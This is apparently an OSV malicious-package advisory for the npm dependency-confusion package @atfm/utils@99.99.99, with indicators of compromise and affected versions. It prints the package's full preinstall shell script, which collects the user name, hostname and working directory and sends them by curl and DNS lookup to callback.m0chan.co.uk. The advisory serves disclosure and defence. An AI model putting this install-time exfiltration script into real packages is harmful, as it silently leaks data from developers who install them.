{"id":"MAL-2026-18602","summary":"Malicious code in @atfm/utils (npm)","details":"@atfm/utils@99.99.99 is a dependency confusion package: it uses an inflated version under the @atfm scope so that a build resolving an internal @atfm package of the same name picks the public one instead. Its package.json declares a preinstall script that runs on npm install. The script base64-encodes the installing user, hostname, current working directory and package name and sends them to a subdomain of callback.m0chan.co.uk in two ways: an HTTPS GET with the encoded data in the URL path, and a DNS lookup with the encoded package name as a subdomain label. The preinstall script is:\n\n```\nb64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm_package_name\" | base64 -w0); pkgsub=$(printf '%s' \"$npm_package_name\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm_package_name\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk\n```\n\nThe same script appears in @atfm/utils and @atfm/atfm-material-ui, both at 99.99.99, and in other packages already listed in this database that call back to callback.m0chan.co.uk. Both @atfm packages have since been removed from npm.","modified":"2026-11-04T06:00:05.650731191Z","published":"2026-10-30T16:30:00Z","database_specific":{"iocs":{"domains":["callback.m0chan.co.uk"],"files":[{"source":"PACKAGE_ARCHIVE","digests":{"sha256":"2d9cfbf5205038a670b9e5866f5614a0f06462d960ead7e71c13b163ff394300"},"note":"Declares the preinstall script that sends user, host and path information to callback.m0chan.co.uk.","paths":["package.json"]}]}},"affected":[{"package":{"name":"@atfm/utils","ecosystem":"npm","purl":"pkg:npm/%40atfm/utils"},"versions":["99.99.99"],"database_specific":{"cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@atfm/utils/MAL-2026-18602.json"}}],"schema_version":"1.9.2","credits":[{"name":"Chainguard","contact":["https://www.chainguard.dev","mailto:security@chainguard.dev"],"type":"FINDER"}]}